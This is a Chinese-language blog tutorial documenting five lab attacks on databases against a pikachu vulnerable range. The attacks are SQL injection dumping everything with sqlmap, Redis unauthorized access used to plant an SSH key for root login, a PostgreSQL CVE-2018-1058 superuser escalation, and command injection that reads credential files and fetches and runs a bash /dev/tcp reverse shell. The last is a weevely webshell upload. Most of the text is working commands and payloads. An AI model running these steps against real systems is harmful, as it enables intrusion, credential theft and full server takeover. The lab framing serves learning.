对数据库渗透的5个案例

1. mysql的sql注入

1.1 环境搭建

攻击机A:kali

靶机B:Ubuntu

1.1.1 安装php+mysql+apache

在这里,网上一般的方法都可以,比较简单。

1.1.2 安装配置pikachu

pikachu:https://github.com/zhuifengshaonianhanlu/pikachu

1)把下载下来的pikachu文件夹放到web服务器根目录下(一般在/var/www/html/)。

2)根据实际情况修改inc/config.inc.php里面的数据库连接配置;

3)访问http://x.x.x.x/pikachu,会有一个红色的热情提示"欢迎使用,pikachu还没有初始化,点击进行初始化安装!",点击即可完成安装。

 

 1.2 渗透测试

1.2.1 选择SQL inject->数字型注入(post)

 

1.2.2 一般思路:

判断该功能为查询输入的userid是否存在,若存在则返回相关消息。故可判断可能存在与数据库连接进行查询操作。再观察url:http://192.168.8.9/html/vul/sqli/sqli_id.php和burp抓包

通过post方法传递id参数,与后端进行交互。判断id可能为sql注入点;

1.2.3 渗透过程:

1)在这里可以直接那sqlmap跑,也可以先用burp抓包手动分析。在这里先用burp:打开截断,方便在浏览器查看注入后的变化。把id参数改为:-1 or 1=1

 

结果如下图,显示出所有的user信息,确认存在sql注入:

 

 2)接下来直接拿出sqlmap跑,在命令行输入:

sqlmap -u "http://192.168.8.9/html/vul/sqli/sqli_id.php" --data="id=1&submit=%E6%9F%A5%E8%AF%A2" --dump-all

直接把数据库所有内容脱下来(截图显示部分):

 

 

2. redis未授权访问

2.1 环境搭建

攻击机A:kali

靶机B:Ubuntu

 2.1.1 安装redis

1)从官网下载,在命令行输入:

sudo wget http://download.redis.io/releases/redis-3.2.11.tar.gz

2)下载成功后,解压:

tar xzf redis-3.2.11.tar.gz

3)进入解压后的目录,输入make执行:

cd redis-3.2.11

make

4)进入src目录:cd src,将redis-server和redis-cli拷贝到/usr/bin目录下:

cd src

sudo cp redis-server /usr/bin/

sudo cp redis-cli /usr/bin/

5)返回目录redis-3.2.11,将redis.conf拷贝到/etc/目录下:

sudo cp redis.conf /etc/

6)编辑etc中的redis配置文件redis.conf:

sudo vim /etc/redis.conf

7)去掉ip绑定,允许除本地外的主机远程登录redis服务,在箭头这一行前面加上#,注释掉:

 

 

 关闭保护模式,允许远程连接redis服务,把下图的yes改为no:

 

 

 8)使用/etc/目录下的reids.conf文件中的配置启动redis服务:

sudo redis-server /etc/redis.conf

2.1.2 启动ssh服务

打开另一个终端窗口,命令行输入:

sudo /etc/init.d/ssh start

2.1.3 在攻击机A上安装redis

apt-get install redis

2.2 渗透测试

2.2.1 获取两部主机的ip

攻击机A:192.168.8.3

靶机B:192.168.8.9

2.2.2 连接redis

1)在靶机B中创建ssh公钥存放目录:

mkdir /root/.ssh

2)在攻击机A中生成ssh公钥和私钥,密码设置为空:

ssh-keygen -t rsa

3)进入.ssh目录:cd .ssh/,将生成的公钥保存到1.txt:

cd .ssh/

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n")>1.txt

4)将1.txt写入redis(使用redis-cli -h ip命令连接靶机B,将文件写入):

cat 1.txt | redis-cli -h 192.168.8.9 -x set crack

5)远程登录主机A的redis服务:

redis-cli -h 192.168.8.9

此时,其实已经连接上redis了,如下图:

 2.2.3 使用ssh拿shell

因为该redis还没有进行任何数据的存储,就不进行数据的窃取了。接下来展示通过redis拿到系统的shell,扩大战果。

1)使用CONFIG GET dir命令得到redis备份的路径:

CONFIG GET dir

2))更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh):

CONFIG SET dir /root/.ssh/

 

 3)设置上传公钥的备份文件名字为authorized_keys:

CONFIG SET dbfilename authorized_keys

 

 4)检查是否更改成功(查看有没有authorized_keys文件),没有问题就保存然后退出,至此成功写入ssh公钥到靶机:

CONFIG GET dbfilename

 5)开启主机A、B的的ssh服务:

sudo /etc/init.d/ssh start

6)在攻击机A使用ssh免密登录靶机B:

ssh -i id_rsa root@192.168.8.9

 

 至此,成功登陆,成功执行id命令。成功通过ssh获取root权限的shell。

 

3.PostgreSQL 远程代码执行(CVE-2018-1058)

3.1 环境搭建

攻击机A:kali,ip: 192.168.8.3

靶机B:Ubuntu,ip: 192.168.8.8

3.1.1 在靶机B上安装postgreSQL

由于PostgreSQL远程代码执行漏洞影响版本有限,需要安装某些特定版本。在这里安装的是9.6版本:

1)添加源:

sudo vim /etc/apt/sources.list.d/pgdg.list

输入:

deb http://apt.postgresql.org/pub/repos/apt/ xenial-pgdg main

保存并退出。

2)导入安装密钥:

wget --quiet -O - https://www.postgresql.org/media/keys/ACCC4CF8.asc | sudo apt-key add -

3)安装:

sudo apt-get install postgresql-9.6

4)远程访问配置:

sudo vim /etc/postgresql/9.6/main/postgresql.conf

把listen_addresses = 'localhost'注释去掉并改为  listen_addresses = '*'

sudo vim /etc/postgresql/9.6/main/pg_hba.conf

把设置修改为下图:

 

 

 5)重新启动postgresql:

/etc/init.d/postgresql restart

3.1.2 数据库配置

光有数据库不行,得加点东西进去

1)连接数据库:

psql -U postgres

 

 

 2)在数据库里,输入以下命令,创建数据库和新用户:(postgres=#开头的为输入行

postgres=# CREATE DATABASE evil;
postgres=# CREATE USER chybeta WITH PASSWORD 'chybeta';
CREATE ROLE
postgres=# GRANT ALL PRIVILEGES ON DATABASE evil to chybeta;
GRANT

3)输入\q退出,然后使用chybeta用户登陆evil数据库:(密码为chybeta,上一条命令里有)

psql -U chybeta -d evil

4)在public模式中创建一张表以及对应的字段:

evil=> CREATE TABLE public.test AS SELECT 'just test' ::text AS test;

然后会看到返回SELECT 1。接着进行查询:

evil=> SELECT * FROM test;

会看到返回just test字段。

5)创建一个新的模式(schema),其模式名为chybeta:

evil=> CREATE schema chybeta;

6)在chybeta模式中创建对应的表以及字段:

evil=> CREATE TABLE chybeta.test AS SELECT 'i am chybeta'::text AS test;

7)执行上次相同的查询语句:

evil=> SELECT * FROM test;

 

 

 3.2 渗透测试

3.2.1 方法一

1)在攻击机A上,进行远程连接靶机B的PostgreSQL::

psql --host 192.168.8.8 --username chybeta -d evil

2)连接数据库后,执行如下语句:

evil=> CREATE FUNCTION public.upper(varchar) RETURNS TEXT AS $$
    ALTER ROLE chybeta SUPERUSER;
    SELECT pg_catalog.upper($1);
$$ LANGUAGE SQL VOLATILE;

在这里,创建了一个名叫upper的恶意函数,当然数据库里本来也有一个upper函数,但是在这个漏洞里面,会先执行我们自定义的函数,至于原因这里就不展开了。

这个自定义的upper函数的恶意功能就是把用户chybeta设置成为超级用户。

3)创建一张表:

evil=> CREATE TABLE public.hehehehe AS SELECT 'chybeta'::varchar AS contents;

4)在这里,先看一下现在的用户的权限是怎么样的:

evil=> select rolname,rolsuper from pg_roles;

 

 这里的用户chybeta还是f,而不是超级用户postgres的t。

5)接下来的操作是模拟管理员的操作了,他看小写的chybeta不顺眼,想让他变成大写(关键在于管理员执行恶意函数),执行了以下的操作:

select current_user;

select contents from hehehehe;

select upper(contents) from hehehehe;

 

 6)看上去一切正常,大写的大写。回到用户chybeta处,查看一下权限:

 

 

 现在我们就可以使用chybeta用户远程登陆PostgreSQL数据库了,且这是一个超级用户,如图同postgres用户拥有相同的权限。

至此完成对postgresql的渗透。

4.通过命令执行漏洞

4.1 环境搭建

攻击机A:kali,192.168.8.3

靶机B:Ubuntu,192.168.8.9

在这里就不需要搭建新的环境了,使用1里面的pikachu靶场就可以。

 

 

 

4.2 渗透测试

4.2.1 查看配置文件,获取数据库用户名密码

1)输入127.0.0.1查看回显:

 

 2)输入127.0.0.1;ls查看回显:

 

 成功执行ls命令,回显出了当前目录下的文件。

3)执行以下命令,找到配置文件(可以通过ls ..   ls ../..   一点一点去找到这个目录)

127.0.0.1;ls ../../inc

 

 4)执行以下命令就可以看到数据库的用户名和密码了:

127.0.0.1;cat ../../inc/config.inc.php

但是在浏览器页面上看不到有回显:

 此时可以通过burp抓包查看:

也可以在浏览器查看源码:

由此得到数据库的用户名密码:root/null(空密码)

4.2.2 通过命令执行拿shell

1)在攻击机上开启apache服务,并在web根目录写一个反弹shell文件:

service apache2 start

反弹shell文件的内容:

#!/bin/bash
bash -c "bash -i >& /dev/tcp/192.168.8.3/6688 0>&1"

并命名为abc.sh。

2)在命令输入窗口输入:

1&wget -P /tmp http://192.168.8.3/abc.sh

这里,wget命令下载攻击机上的反弹shell文件,-P指定下载目录,因为只有该目录下该用户具有读写执行权限。

3)ls查看一下/tmp目录下是否有abc.sh文件:

1&ls /tmp

确认已经下载了abc.sh(这里的1.txt是我测试用的文件) 。

4)在攻击机A上打开侦听,侦听6688端口(与abc.sh文件内容对应):

nc -lvp 6688

 

 5)输入命令执行abc.sh文件:

1&bash /tmp/abc.sh

 

 nc上已经成功连上:

 

 在此,已经拿到了反弹shell了。

4.2.3 获取交互式shell,并进入Mysql

在这里从反弹shell变成完全交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

 

 现在,已经是完全交互式shell了。刚刚我们也已经获得了mysql的用户名和密码:root/null(空密码)

于是进行mysql登陆:

mysql -u root -p

 

 输入密码这一步直接按回车,即可进入数据库。

show databases; 一下看看:

 

 接下来就是基本的数据库操作了,想看什么看什么。

 

5.通过文件上传漏洞

5.1 环境搭建

攻击机A:kali,192.168.8.3

靶机B:Ubuntu,192.168.8.9

在这里同样不需要搭建新的环境了,使用1里面的pikachu靶场就可以。

 

 

 

 

 

 接下来还需要对环境做一点配置,因为当初配置pikachu的时候也是自己纯手搭的。打开靶机B:

进入到/var/www/html/vul/unsafeupload,建立一个uploads文件夹:

sudo mkdir uploads

然后给这个目录最高权限(最高权限不是安全的,但是方便):

sudo chmod 777 uploads

好了,现在环境就配置好了。

5.2 渗透测试

1)首先写一个webshell,在这里直接用Kali的工具,用密码abc创建一个名为shell.php的文件:

weevely generate abc shell.php

打开目录/usr/share/weevely就可以看到shell.php

 

 

 2)用weevely连接webshell,用法:weevely <url> <password>

weevely http://192.168.8.9/html/vul/unsafeupload/uploads/shell.php abc

 成功连上了,获得webshell。

3)一样的,去找配置文件,看泄露的数据库用户名和密码,在/var/www/html/inc目录找到:

 

 

 直接cat一下:

 

 

 如图数据库用户名密码:root/(空密码)

4)直接用mysql命令连接:

mysql -u root -p

这样会发现没有回显,还不能连上,所以还是要用python建立一个完全交互式shell:

python -c 'import pty; pty.spawn("/bin/bash")'

然后又发现,没有任何反应,没有回显。那就继续想办法,在这里已经拿到了shell了,只是进不了mysql,交互性不够。然后想起来,刚刚在命令执行漏洞的时候,在web根目录下建了一个abc,sh的shell脚本文件:

 

 

 5)接着这里的思路,先在攻击机a上打开侦听6688端口,然后在这个shell里执行wget命令:

nc -lvp 6688
wget -P /tmp http://192.168.8.3/abc.sh

 

 

 因为这里我刚刚操作命令执行漏洞的时候已经存在abc.sh了,这里自动命名为abc.sh.1,但是没关系,两个文件内容是一样的。

6)接下来就是在这个shell里执行这个abc.sh文件:

bash /tmp/abc.sh

 

 

 

 

 

 nc成功连上。那为什么我一开始用python无法建立完全交互式shell的时候不直接用nc呢?因为我这个靶机的nc有点问题....所以绕了这么大一圈,才用到nc。

7)在这里就可以用Python那条命令了:

python -c 'import pty; pty.spawn("/bin/bash")'

 

 

 这样就可以登陆mysql了。select user()看一下当前用户:

 

 

 超级用户,接下来就可以随便玩了。

 

posted @ 2021-04-14 13:25  M4ny1u  阅读(1394)  评论(0编辑  收藏  举报

Email: imanyiu12@foxmail.com